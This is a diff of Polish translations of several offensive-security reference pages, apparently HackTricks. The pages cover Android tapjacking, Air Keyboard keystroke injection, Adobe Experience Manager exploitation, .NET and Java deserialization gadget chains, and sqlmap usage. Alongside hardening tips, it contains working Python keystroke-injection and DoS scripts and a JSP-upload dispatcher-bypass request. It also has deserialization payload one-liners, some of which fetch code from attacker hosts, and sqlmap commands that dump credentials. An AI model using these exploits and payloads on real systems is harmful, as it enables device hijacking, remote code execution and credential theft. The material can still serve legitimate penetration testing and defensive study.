Ograniczenie jest stosunkowo proste, ponieważ deweloper może zdecydować, że nie chce odbierać zdarzeń dotykowych, gdy widok jest zasłonięty przez inny. Korzystając z [Dokumentacji dla deweloperów Androida](https://developer.android.com/reference/android/view/View#security):
|
||||
Ograniczenie jest stosunkowo proste, ponieważ deweloper może zdecydować, że nie chce odbierać zdarzeń dotykowych, gdy widok jest zasłonięty przez inny. Korzystając z [Dokumentacji dewelopera Androida](https://developer.android.com/reference/android/view/View#security):
|
||||
|
||||
> Czasami istotne jest, aby aplikacja mogła zweryfikować, że akcja jest wykonywana z pełną wiedzą i zgodą użytkownika, na przykład przyznawanie prośby o uprawnienia, dokonywanie zakupu lub klikanie w reklamę. Niestety, złośliwa aplikacja mogłaby próbować oszukać użytkownika, aby wykonał te akcje, nieświadomie, ukrywając zamierzony cel widoku. W ramach rozwiązania, framework oferuje mechanizm filtrowania dotyków, który można wykorzystać do poprawy bezpieczeństwa widoków, które zapewniają dostęp do wrażliwej funkcjonalności.
|
||||
> Czasami istotne jest, aby aplikacja mogła zweryfikować, że akcja jest wykonywana z pełną wiedzą i zgodą użytkownika, na przykład przyznając prośbę o uprawnienie, dokonując zakupu lub klikając w reklamę. Niestety, złośliwa aplikacja mogłaby próbować oszukać użytkownika, aby wykonał te akcje, nieświadomie, ukrywając zamierzony cel widoku. W ramach rozwiązania, framework oferuje mechanizm filtrowania dotyków, który można wykorzystać do poprawy bezpieczeństwa widoków, które zapewniają dostęp do wrażliwej funkcjonalności.
|
||||
>
|
||||
> Aby włączyć filtrowanie dotyków, wywołaj [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) lub ustaw atrybut layout android:filterTouchesWhenObscured na true. Po włączeniu, framework odrzuci dotyki, które są odbierane, gdy okno widoku jest zasłonięte przez inne widoczne okno. W rezultacie widok nie otrzyma dotyków, gdy nad oknem widoku pojawi się toast, dialog lub inne okno.
|
||||
|
||||
@ -64,7 +64,7 @@ Ograniczenie jest stosunkowo proste, ponieważ deweloper może zdecydować, że
|
||||
|
||||
## Phishing przez nakładkę dostępności (wariant trojana bankowego)
|
||||
|
||||
Oprócz klasycznego Tapjacking, nowoczesne rodziny złośliwego oprogramowania bankowego na Androida (np. **ToxicPanda**, BrasDex, Sova itp.) nadużywają **Usługi dostępności**, aby umieścić pełnoekranową nakładkę WebView **nad** legalną aplikacją, jednocześnie będąc w stanie **przekazywać dane wejściowe użytkownika** do widoku poniżej. Zwiększa to dramatycznie wiarygodność i pozwala atakującym na kradzież danych uwierzytelniających, OTP lub nawet automatyzację oszukańczych transakcji.
|
||||
Oprócz klasycznego Tapjacking, nowoczesne rodziny złośliwego oprogramowania bankowego na Androida (np. **ToxicPanda**, BrasDex, Sova itp.) nadużywają **Usługi dostępności**, aby umieścić nakładkę **WebView** na pełnym ekranie nad legalną aplikacją, jednocześnie będąc w stanie **przekazywać dane wejściowe użytkownika** do widoku poniżej. Zwiększa to dramatycznie wiarygodność i pozwala atakującym na kradzież danych uwierzytelniających, OTP lub nawet automatyzację oszukańczych transakcji.
|
||||
|
||||
### Jak to działa
|
||||
1. Złośliwy APK żąda wysoce wrażliwego uprawnienia `BIND_ACCESSIBILITY_SERVICE`, zazwyczaj ukrywając prośbę za fałszywym dialogiem Google/Chrome/podglądu PDF.
|
||||
|
@ -9,7 +9,7 @@ Wersja iOS komercyjnej aplikacji **“Air Keyboard”** (ID w App Store 64631879
|
||||
* **≤ 1.0.4** – surowy nasłuch TCP na **porcie 8888**, który oczekuje nagłówka długości 2 bajtów, po którym następuje *device-id* i ładunek ASCII.
|
||||
* **≥ 1.0.5 (czerwiec 2025)** – nasłuch **WebSocket** na *tym samym* porcie (**8888**), który analizuje klucze **JSON** takie jak `{"type":1,"text":"…"}`.
|
||||
|
||||
Każde urządzenie w tej samej sieci Wi-Fi / podsieci może zatem **wstrzykiwać dowolne dane wejściowe z klawiatury do telefonu ofiary, osiągając pełne przejęcie interakcji zdalnej**. Towarzysząca wersja na Androida nasłuchuje na **porcie 55535**. Wykonuje słabe ręczne ustalenie AES-ECB, ale skonstruowane śmieci wciąż powodują **nieobsługiwany wyjątek w OpenSSL**, powodując awarię usługi w tle (**DoS**).
|
||||
Każde urządzenie w tej samej sieci Wi-Fi / podsieci może zatem **wstrzykiwać dowolne dane wejściowe z klawiatury do telefonu ofiary, osiągając pełne przejęcie zdalnej interakcji**. Towarzysząca wersja na Androida nasłuchuje na **porcie 55535**. Wykonuje słabe ręczne ustalenie AES-ECB, ale skonstruowane śmieci wciąż powodują **nieobsługiwany wyjątek w OpenSSL**, powodując awarię usługi w tle (**DoS**).
|
||||
|
||||
> Luka jest **nadal niezałatana w momencie pisania (lipiec 2025)**, a aplikacja pozostaje dostępna w App Store.
|
||||
|
||||
@ -48,7 +48,7 @@ Zadeklarowana *długość* obejmuje bajt `device_id` **ale nie** sam nagłówek
|
||||
|
||||
### 2.2 Aktualna (≥ 1.0.5) – JSON przez WebSocket
|
||||
|
||||
Wersja 1.0.5 cicho przeszła na WebSockety, zachowując niezmieniony numer portu. Minimalne naciśnięcie klawisza wygląda jak:
|
||||
Wersja 1.0.5 cicho przeszła na WebSocket, zachowując niezmieniony numer portu. Minimalne naciśnięcie klawisza wygląda jak:
|
||||
```json
|
||||
{
|
||||
"type": 1, // 1 = insert text, 2 = special key
|
||||
@ -82,7 +82,7 @@ with socket.create_connection((target_ip, 8888)) as s:
|
||||
s.sendall(frame)
|
||||
print("[+] Injected", keystrokes)
|
||||
```
|
||||
### 3.2 Targetowanie ≥ 1.0.5 (WebSocket)
|
||||
### 3.2 Celowanie ≥ 1.0.5 (WebSocket)
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
"""Inject keystrokes into Air Keyboard ≥ 1.0.5 (WebSocket mode)"""
|
||||
@ -107,7 +107,7 @@ print("[+] URL opened on target browser")
|
||||
|
||||
## 4. Android Companion – Denial-of-Service
|
||||
|
||||
Port Androida (55535) oczekuje **hasła o długości 4 znaków zaszyfrowanego za pomocą wbudowanego klucza AES-128-ECB**, po którym następuje losowy nonce. Błędy parsowania pojawiają się w `AES_decrypt()` i nie są wychwytywane, co kończy wątek nasłuchujący. Pojedynczy źle sformatowany pakiet wystarczy, aby utrzymać legalnych użytkowników odłączonych, aż proces zostanie ponownie uruchomiony.
|
||||
Port Androida (55535) oczekuje **hasła o długości 4 znaków zaszyfrowanego za pomocą wbudowanego klucza AES-128-ECB**, po którym następuje losowy nonce. Błędy parsowania pojawiają się w `AES_decrypt()` i nie są wychwytywane, co kończy wątek nasłuchujący. Pojedynczy źle sformatowany pakiet wystarcza, aby utrzymać legalnych użytkowników odłączonych, aż proces zostanie ponownie uruchomiony.
|
||||
```python
|
||||
import socket
|
||||
socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
|
||||
@ -118,11 +118,11 @@ socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
|
||||
|
||||
Air Keyboard to **nie jest odosobniony przypadek**. Inne mobilne narzędzia „zdalna klawiatura/mysz” mają ten sam błąd:
|
||||
|
||||
* **Telepad ≤ 1.0.7** – CVE-2022-45477/78 pozwala na nieautoryzowane wykonywanie poleceń i rejestrowanie klawiszy w postaci tekstu jawnego.
|
||||
* **Telepad ≤ 1.0.7** – CVE-2022-45477/78 pozwala na nieautoryzowane wykonanie poleceń i rejestrowanie klawiszy w postaci czystego tekstu.
|
||||
* **PC Keyboard ≤ 30** – CVE-2022-45479/80 nieautoryzowane RCE i podsłuchiwanie ruchu.
|
||||
* **Lazy Mouse ≤ 2.0.1** – CVE-2022-45481/82/83 domyślnie bez hasła, słabe PIN-y, atak brute-force i wyciek tekstu jawnego.
|
||||
* **Lazy Mouse ≤ 2.0.1** – CVE-2022-45481/82/83 domyślnie bez hasła, słabe PIN-y, atak brute-force i wyciek w postaci czystego tekstu.
|
||||
|
||||
Te przypadki podkreślają systemowe zaniedbanie **powierzchni ataku skierowanych na sieć w aplikacjach mobilnych**.
|
||||
Te przypadki podkreślają systematyczne zaniedbanie **powierzchni ataku skierowanych na sieć w aplikacjach mobilnych**.
|
||||
|
||||
---
|
||||
|
||||
@ -130,7 +130,7 @@ Te przypadki podkreślają systemowe zaniedbanie **powierzchni ataku skierowanyc
|
||||
|
||||
1. **Brak kontroli pochodzenia / integralności** na przychodzących ramkach (iOS).
|
||||
2. **Niewłaściwe użycie kryptografii** (klucz statyczny, ECB, brak walidacji długości) oraz **brak obsługi wyjątków** (Android).
|
||||
3. **Uprawnienia do lokalnej sieci przyznane przez użytkownika ≠ bezpieczeństwo** – iOS wymaga zgody w czasie rzeczywistym na ruch LAN, ale nie zastępuje to odpowiedniej autoryzacji.
|
||||
3. **Uprawnienia przyznane przez użytkownika do lokalnej sieci ≠ bezpieczeństwo** – iOS wymaga zgody w czasie rzeczywistym na ruch LAN, ale nie zastępuje to odpowiedniej autoryzacji.
|
||||
|
||||
---
|
||||
|
||||
@ -146,13 +146,13 @@ Zalecenia dla deweloperów:
|
||||
Szybkie wygrane dla zespołów Blue-/Red-Team:
|
||||
|
||||
* **Polowanie w sieci:** `sudo nmap -n -p 8888,55535 --open 192.168.0.0/16` lub filtr Wireshark `tcp.port == 8888`.
|
||||
* **Inspekcja w czasie rzeczywistym:** Skrypt Frida do podpinania `socket()`/`NWConnection`, aby wylistować nieoczekiwane nasłuchiwacze.
|
||||
* **Inspekcja w czasie rzeczywistym:** Skrypt Frida podłączający `socket()`/`NWConnection`, aby wylistować nieoczekiwane nasłuchiwacze.
|
||||
* **Raport prywatności aplikacji iOS (Ustawienia ▸ Prywatność i bezpieczeństwo ▸ Raport prywatności aplikacji)** podkreśla aplikacje, które kontaktują się z adresami LAN – przydatne do wykrywania niepożądanych usług.
|
||||
* **Mobilne EDR-y** mogą dodać proste reguły Yara-L dla kluczy JSON `"selectionStart"`, `"selectionEnd"` wewnątrz ładunków TCP w postaci tekstu jawnego na porcie 8888.
|
||||
* **Mobilne EDR-y** mogą dodać proste reguły Yara-L dla kluczy JSON `"selectionStart"`, `"selectionEnd"` wewnątrz ładunków TCP w postaci czystego tekstu na porcie 8888.
|
||||
|
||||
---
|
||||
|
||||
## Arkusz oszustw detekcyjnych (Pentesterzy)
|
||||
## Arkusz oszustw detekcji (Pentesterzy)
|
||||
```bash
|
||||
# Locate vulnerable devices in a /24 and print IP + list of open risky ports
|
||||
nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - \
|
||||
|
@ -30,7 +30,7 @@ Inne szybkie wskaźniki:
|
||||
`/.json`, `/.1.json` | Węzły JCR za pomocą **DefaultGetServlet** | Często zablokowane, ale *Dispatcher bypass* (patrz poniżej) działa.
|
||||
`/bin/querybuilder.json?path=/` | API QueryBuilder | Wyciek drzewa stron, wewnętrzne ścieżki, nazwy użytkowników.
|
||||
`/system/console/status-*`, `/system/console/bundles` | Konsola OSGi/Felix | 403 domyślnie; jeśli ujawnione i znalezione dane uwierzytelniające ⇒ RCE przy przesyłaniu pakietów.
|
||||
`/crx/packmgr/index.jsp` | Menedżer pakietów | Umożliwia przesyłanie pakietów treści z uwierzytelnieniem → przesyłanie ładunku JSP.
|
||||
`/crx/packmgr/index.jsp` | Menedżer pakietów | Umożliwia przesyłanie pakietów treści z uwierzytelnieniem → przesyłanie ładunków JSP.
|
||||
`/etc/groovyconsole/**` | AEM Groovy Console | Jeśli ujawnione → dowolne wykonanie Groovy / Java.
|
||||
`/libs/cq/AuditlogSearchServlet.json` | Dzienniki audytu | Ujawnienie informacji.
|
||||
`/libs/cq/ui/content/dumplibs.html` | Zrzut ClientLibs | Wektor XSS.
|
||||
@ -70,10 +70,10 @@ Zawsze sprawdzaj biuletyn *APSB* odpowiadający pakietowi serwisowemu klienta i
|
||||
|
||||
---
|
||||
|
||||
## 5. Fragmenty wykorzystania
|
||||
## 5. Fragmenty eksploatacji
|
||||
|
||||
### 5.1 RCE przez obejście dispatcher + przesyłanie JSP
|
||||
Jeśli anonimowe zapisywanie jest możliwe:
|
||||
Jeśli możliwe jest anonimowe zapisywanie:
|
||||
```
|
||||
# 1. Create a node that will become /content/evil.jsp
|
||||
POST /content/evil.jsp;%0aa.css HTTP/1.1
|
||||
@ -104,14 +104,14 @@ python3 aem_hacker.py -u https://target --host attacker-ip
|
||||
|
||||
## 7. Lista kontrolna wzmacniania (dla rekomendacji w Twoim raporcie)
|
||||
|
||||
1. Utrzymuj instancję na **najświeższym skumulowanym pakiecie serwisowym** (stan na lipiec 2025: 6.5.22).
|
||||
1. Utrzymuj instancję na **najbardziej aktualnym pakiecie serwisowym** (stan na lipiec 2025: 6.5.22).
|
||||
2. Usuń/zmień domyślne konta; wymuś SSO/SAML.
|
||||
3. Zaostrzyć **filtry Dispatcher** – odrzucaj `;`, zakodowane nowe linie oraz `*.json` lub `*.querybuilder.json` dla anonimowych użytkowników.
|
||||
3. Zaostrzyć **filtry Dispatcher** – odrzucić `;`, zakodowane nowe linie oraz `*.json` lub `*.querybuilder.json` dla anonimowych użytkowników.
|
||||
4. Wyłącz lub zabezpiecz konsolę (`/system/console`, `/crx/*`, `/etc/groovyconsole`) za pomocą listy dozwolonych adresów IP.
|
||||
5. Zastosuj pakiet *Wzmacnianie uprawnień anonimowych* dostarczony przez Adobe.
|
||||
|
||||
## Odniesienia
|
||||
|
||||
* Adobe Security Bulletin APSB24-69 – “Aktualizacje zabezpieczeń dla Adobe Experience Manager (grudzień 2024)”.
|
||||
* Adobe Security Bulletin APSB24-69 – „Aktualizacje zabezpieczeń dla Adobe Experience Manager (grudzień 2024)”.
|
||||
* 0ang3el – narzędzie aem-hacker (GitHub).
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -22,7 +22,7 @@ Jak możesz zauważyć, gdy `MethodName` jest ustawione, wywoływana jest `base.
|
||||
|
||||
.png>)
|
||||
|
||||
Ok, kontynuujmy, aby zobaczyć, co robi `this.BeginQuery()`. `BeginQuery` jest nadpisywane przez `ObjectDataProvider` i oto, co to robi:
|
||||
Ok, kontynuujmy, aby zobaczyć, co robi `this.BeginQuery()`. `BeginQuery` jest nadpisywane przez `ObjectDataProvider` i to jest to, co robi:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -32,7 +32,7 @@ Zauważ, że na końcu kodu wywoływana jest `this.QueryWorke(null)`. Zobaczmy,
|
||||
|
||||
Zauważ, że to nie jest pełny kod funkcji `QueryWorker`, ale pokazuje interesującą część: Kod **wywołuje `this.InvokeMethodOnInstance(out ex);`** to jest linia, w której **ustawiona metoda jest wywoływana**.
|
||||
|
||||
Jeśli chcesz sprawdzić, że wystarczy ustawić _**MethodName**_, aby **została wykonana**, możesz uruchomić ten kod:
|
||||
Jeśli chcesz sprawdzić, że wystarczy ustawić _**MethodName**_, **zostanie ona wykonana**, możesz uruchomić ten kod:
|
||||
```java
|
||||
using System.Windows.Data;
|
||||
using System.Diagnostics;
|
||||
@ -52,13 +52,13 @@ myODP.MethodName = "Start";
|
||||
}
|
||||
}
|
||||
```
|
||||
Zauważ, że musisz dodać jako referencję _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_, aby załadować `System.Windows.Data`
|
||||
Zauważ, że musisz dodać jako odniesienie _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_, aby załadować `System.Windows.Data`
|
||||
|
||||
## ExpandedWrapper
|
||||
|
||||
Korzystając z poprzedniego exploit, będą przypadki, w których **obiekt** będzie **deserializowany jako** instancja _**ObjectDataProvider**_ (na przykład w przypadku podatności DotNetNuke, używając XmlSerializer, obiekt został deserializowany przy użyciu `GetType`). Wtedy nie będziemy mieli **wiedzy o typie obiektu, który jest opakowany** w instancji _ObjectDataProvider_ (na przykład `Process`). Możesz znaleźć więcej [informacji o podatności DotNetNuke tutaj](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
|
||||
Korzystając z poprzedniego exploita, będą przypadki, w których **obiekt** będzie **deserializowany jako** instancja _**ObjectDataProvider**_ (na przykład w przypadku podatności DotNetNuke, używając XmlSerializer, obiekt został deserializowany przy użyciu `GetType`). Wtedy **nie będziemy mieli wiedzy o typie obiektu, który jest opakowany** w instancji _ObjectDataProvider_ (na przykład `Process`). Możesz znaleźć więcej [informacji o podatności DotNetNuke tutaj](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
|
||||
|
||||
Ta klasa pozwala na **określenie typów obiektów obiektów, które są enkapsulowane** w danej instancji. Tak więc, ta klasa może być używana do enkapsulowania obiektu źródłowego (_ObjectDataProvider_) w nowy typ obiektu i dostarczenia potrzebnych właściwości (_ObjectDataProvider.MethodName_ i _ObjectDataProvider.MethodParameters_).\
|
||||
Ta klasa pozwala **określić typy obiektów obiektów, które są enkapsulowane** w danej instancji. Tak więc, ta klasa może być używana do enkapsulowania obiektu źródłowego (_ObjectDataProvider_) w nowy typ obiektu i dostarczenia potrzebnych właściwości (_ObjectDataProvider.MethodName_ i _ObjectDataProvider.MethodParameters_).\
|
||||
Jest to bardzo przydatne w przypadkach takich jak ten przedstawiony wcześniej, ponieważ będziemy mogli **opakować \_ObjectDataProvider**_** wewnątrz instancji **_**ExpandedWrapper** \_ i **po deserializacji** ta klasa **utworzy** obiekt _**OjectDataProvider**_, który **wykona** **funkcję** wskazaną w _**MethodName**_.
|
||||
|
||||
Możesz sprawdzić ten wrapper za pomocą następującego kodu:
|
||||
@ -147,7 +147,7 @@ ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
|
||||
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
|
||||
}
|
||||
```
|
||||
W tym kodzie możesz **przetestować exploit**, po prostu go uruchom, a zobaczysz, że kalkulator jest uruchamiany:
|
||||
W tym kodzie możesz **przetestować exploit**, po prostu go uruchom, a zobaczysz, że kalkulator zostanie uruchomiony:
|
||||
```java
|
||||
using System;
|
||||
using System.Text;
|
||||
@ -193,8 +193,8 @@ Poniżej znajduje się skondensowana referencja najprzydatniejszych łańcuchów
|
||||
| Łańcuch Gadżetów | Kluczowa Idea / Primitiv | Powszechne Serializatory | YSoNet one-liner |
|
||||
|-------------------|--------------------------|--------------------------|-------------------|
|
||||
| **TypeConfuseDelegate** | Korumpuje rekord `DelegateSerializationHolder`, tak że po zmaterializowaniu delegat wskazuje na *dowolną* metodę dostarczoną przez atakującego (np. `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
|
||||
| **ActivitySurrogateSelector** | Wykorzystuje `System.Workflow.ComponentModel.ActivitySurrogateSelector`, aby *obejść filtrowanie typów .NET ≥4.8* i bezpośrednio wywołać **konstruktor** podanej klasy lub **skompilować** plik C# w locie | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
|
||||
| **DataSetOldBehaviour** | Wykorzystuje **dziedziczną reprezentację XML** `System.Data.DataSet`, aby zainicjować dowolne typy, wypełniając pola `<ColumnMapping>` / `<DataType>` (opcjonalnie fałszując assembly za pomocą `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
|
||||
| **ActivitySurrogateSelector** | Wykorzystuje `System.Workflow.ComponentModel.ActivitySurrogateSelector`, aby *obejść filtrowanie typów .NET ≥4.8* i bezpośrednio wywołać **konstruktor** dostarczonej klasy lub **skompilować** plik C# w locie | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
|
||||
| **DataSetOldBehaviour** | Wykorzystuje **dziedziczną reprezentację XML** `System.Data.DataSet`, aby zainstancjonować dowolne typy, wypełniając pola `<ColumnMapping>` / `<DataType>` (opcjonalnie fałszując assembly za pomocą `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
|
||||
| **GetterCompilerResults** | W środowiskach z obsługą WPF (> .NET 5) łączy gettery właściwości, aż dotrze do `System.CodeDom.Compiler.CompilerResults`, a następnie *kompiluje* lub *ładowa* DLL dostarczoną z `-c` | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
|
||||
| **ObjectDataProvider** (przegląd) | Używa WPF `System.Windows.Data.ObjectDataProvider`, aby wywołać dowolną statyczną metodę z kontrolowanymi argumentami. YSoNet dodaje wygodną wersję `--xamlurl`, aby hostować złośliwy XAML zdalnie | `BinaryFormatter`, `Json.NET`, `XAML`, *itd.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
|
||||
| **PSObject (CVE-2017-8565)** | Osadza `ScriptBlock` w `System.Management.Automation.PSObject`, który wykonuje się, gdy PowerShell deserializuje obiekt | Zdalne wywołanie PowerShell, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
|
||||
@ -220,11 +220,11 @@ Skonstruowany `ysonet.exe` można znaleźć w `ysonet/bin/Release/`.
|
||||
|
||||
### Wykrywanie i wzmacnianie
|
||||
* **Wykryj** nieoczekiwane procesy potomne `w3wp.exe`, `PowerShell.exe` lub jakikolwiek proces deserializujący dane dostarczone przez użytkownika (np. `MessagePack`, `Json.NET`).
|
||||
* Włącz i **wymuś filtrowanie typów** (`TypeFilterLevel` = *Full*, niestandardowy `SurrogateSelector`, `SerializationBinder`, *itd.*) zawsze, gdy przestarzały `BinaryFormatter` / `NetDataContractSerializer` nie może być usunięty.
|
||||
* Włącz i **wymuszaj filtrowanie typów** (`TypeFilterLevel` = *Full*, niestandardowy `SurrogateSelector`, `SerializationBinder`, *itd.*) zawsze, gdy przestarzały `BinaryFormatter` / `NetDataContractSerializer` nie może być usunięty.
|
||||
* Gdzie to możliwe, migruj do **`System.Text.Json`** lub **`DataContractJsonSerializer`** z konwerterami opartymi na białej liście.
|
||||
* Zablokuj niebezpieczne zestawy WPF (`PresentationFramework`, `System.Workflow.*`) przed ładowaniem w procesach webowych, które nigdy ich nie potrzebują.
|
||||
|
||||
## Odnośniki
|
||||
## Odniesienia
|
||||
- [YSoNet – generator ładunków deserializacji .NET](https://github.com/irsdl/ysonet)
|
||||
- [ysoserial.net – oryginalne narzędzie PoC](https://github.com/pwntester/ysoserial.net)
|
||||
- [Microsoft – CVE-2017-8565](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-8565)
|
||||
|
@ -16,10 +16,10 @@ Interfejs Java `Serializable` (`java.io.Serializable`) jest interfejsem znacznik
|
||||
4. `readExternal()` – dla klas implementujących `Externalizable`.
|
||||
5. Konstruktory **nie** są wykonywane – dlatego łańcuchy gadżetów polegają wyłącznie na poprzednich wywołaniach zwrotnych.
|
||||
|
||||
Każda metoda w tym łańcuchu, która kończy się na wywołaniu danych kontrolowanych przez atakującego (wykonanie polecenia, wyszukiwania JNDI, refleksja itp.) przekształca rutynę deserializacji w gadżet RCE.
|
||||
Każda metoda w tym łańcuchu, która kończy się na wywołaniu danych kontrolowanych przez atakującego (wykonywanie poleceń, wyszukiwania JNDI, refleksja itp.) przekształca rutynę deserializacji w gadżet RCE.
|
||||
|
||||
Zobaczmy przykład z **klasą Person**, która jest **serializowalna**. Ta klasa **nadpisuje funkcję readObject**, więc gdy **jakikolwiek obiekt** tej **klasy** jest **deserializowany**, ta **funkcja** zostanie **wykonana**.\
|
||||
W przykładzie, **funkcja readObject** klasy Person wywołuje funkcję `eat()` jego zwierzaka, a funkcja `eat()` psa (z jakiegoś powodu) wywołuje **calc.exe**. **Zobaczymy, jak serializować i deserializować obiekt Person, aby wykonać ten kalkulator:**
|
||||
W przykładzie funkcja **readObject** klasy Person wywołuje funkcję `eat()` jego zwierzaka, a funkcja `eat()` psa (z jakiegoś powodu) wywołuje **calc.exe**. **Zobaczymy, jak serializować i deserializować obiekt Person, aby wykonać ten kalkulator:**
|
||||
|
||||
**Poniższy przykład pochodzi z <https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649>**
|
||||
```java
|
||||
@ -100,7 +100,7 @@ Jak widać w tym bardzo podstawowym przykładzie, "vulnerability" tutaj pojawia
|
||||
|
||||
## 2023-2025: Co nowego w atakach deserializacji Java?
|
||||
|
||||
* 2023 – CVE-2023-34040: Deserializacja nagłówków rekordów błędów Spring-Kafka, gdy flagi `checkDeserExWhen*` są włączone, umożliwiła dowolne konstruowanie gadżetów z tematów publikowanych przez atakujących. Naprawione w 3.0.10 / 2.9.11. ¹
|
||||
* 2023 – CVE-2023-34040: Deserializacja nagłówków rekordów błędów Spring-Kafka, gdy flagi `checkDeserExWhen*` są włączone, umożliwiła dowolne konstruowanie gadżetów z tematów publikowanych przez atakujących. Naprawiono w 3.0.10 / 2.9.11. ¹
|
||||
* 2023 – CVE-2023-36480: Założenie zaufanego serwera klienta Java Aerospike zostało złamane – złośliwe odpowiedzi serwera zawierały zserializowane ładunki, które zostały zdeserializowane przez klienta → RCE. ²
|
||||
* 2023 – CVE-2023-25581: Analiza atrybutu profilu użytkownika `pac4j-core` akceptowała zprefiksowane `{#sb64}` bloby Base64 i zdeserializowała je pomimo `RestrictedObjectInputStream`. Uaktualnij ≥ 4.0.0.
|
||||
* 2023 – CVE-2023-4528: Usługa JSCAPE MFT Manager (port 10880) akceptowała obiekty Java zakodowane w XML, co prowadziło do RCE jako root/SYSTEM.
|
||||
@ -119,7 +119,7 @@ Przykład programowy:
|
||||
var filter = ObjectInputFilter.Config.createFilter("com.example.dto.*;java.base/*;!*" );
|
||||
ObjectInputFilter.Config.setSerialFilter(filter);
|
||||
```
|
||||
2. **JEP 415 (Java 17+) Fabryki filtrów specyficznych dla kontekstu** – użyj `BinaryOperator<ObjectInputFilter>`, aby zastosować różne filtry w zależności od kontekstu wykonania (np. na podstawie wywołania RMI, konsumenta kolejki wiadomości).
|
||||
2. **JEP 415 (Java 17+) Fabryki filtrów specyficznych dla kontekstu** – użyj `BinaryOperator<ObjectInputFilter>`, aby zastosować różne filtry w zależności od kontekstu wykonania (np. na każde wywołanie RMI, na każdego konsumenta kolejki wiadomości).
|
||||
3. **Nie wystawiaj surowego `ObjectInputStream` przez sieć** – preferuj kodowania JSON/Binary bez semantyki wykonania kodu (Jackson po wyłączeniu `DefaultTyping`, Protobuf, Avro itp.).
|
||||
4. **Ograniczenia obrony w głębokości** – Ustaw maksymalną długość tablicy, głębokość, odniesienia:
|
||||
```bash
|
||||
@ -142,9 +142,9 @@ java -jar ysoserial-plus.jar CommonsCollections6 'calc' | base64 -w0
|
||||
|
||||
1. Uczyń metodę `private` i dodaj adnotację `@Serial` (pomaga w analizie statycznej).
|
||||
2. Nigdy nie wywołuj metod dostarczonych przez użytkownika ani nie wykonuj operacji I/O w metodzie – tylko odczytuj pola.
|
||||
3. Jeśli potrzebna jest walidacja, wykonaj ją **po** deserializacji, poza `readObject()`.
|
||||
3. Jeśli walidacja jest potrzebna, wykonaj ją **po** deserializacji, poza `readObject()`.
|
||||
4. Preferuj implementację `Externalizable` i wykonuj jawne odczyty pól zamiast domyślnej serializacji.
|
||||
5. Zarejestruj wzmocniony `ObjectInputFilter` nawet dla usług wewnętrznych (projekt odporny na kompromitacje).
|
||||
5. Zarejestruj wzmocniony `ObjectInputFilter` nawet dla usług wewnętrznych (projekt odporny na kompromitację).
|
||||
|
||||
## Odnośniki
|
||||
|
||||
|
@ -23,7 +23,7 @@
|
||||
```
|
||||
### Flagi technik (`--technique`)
|
||||
|
||||
Argument `--technique` definiuje, które metody SQL injection sqlmap będzie próbować. Każda litera w ciągu reprezentuje technikę:
|
||||
Argument `--technique` definiuje, które metody SQL injection sqlmap będzie próbować. Każdy znak w ciągu reprezentuje technikę:
|
||||
|
||||
| Litera | Technika | Opis |
|
||||
| ------ | --------- | ----------- |
|
||||
@ -48,7 +48,7 @@ sqlmap -u "http://target/?id=1" --technique="BT" --batch
|
||||
--users #Get usernames od DB
|
||||
--passwords #Get passwords of users in DB
|
||||
```
|
||||
#### Dane DB
|
||||
#### DB data
|
||||
```bash
|
||||
--all #Retrieve everything
|
||||
--dump #Dump DBMS database table entries
|
||||
@ -65,7 +65,7 @@ Przechwyć żądanie i utwórz plik req.txt
|
||||
```bash
|
||||
sqlmap -r req.txt --current-user
|
||||
```
|
||||
### Wstrzykiwanie Żądania GET
|
||||
### Wstrzykiwanie żądania GET
|
||||
```bash
|
||||
sqlmap -u "http://example.com/?id=1" -p id
|
||||
sqlmap -u "http://example.com/?id=*" -p id
|
||||
@ -134,12 +134,12 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
||||
```
|
||||
| Tamper | Opis |
|
||||
| :--------------------------- | :--------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| apostrophemask.py | Zastępuje znak apostrofu jego pełnowymiarowym odpowiednikiem UTF-8 |
|
||||
| apostrophemask.py | Zastępuje znak apostrofu jego pełnowymiarowym odpowiednikiem UTF-8 |
|
||||
| apostrophenullencode.py | Zastępuje znak apostrofu jego nielegalnym podwójnym odpowiednikiem unicode |
|
||||
| appendnullbyte.py | Dodaje zakodowany znak NULL na końcu ładunku |
|
||||
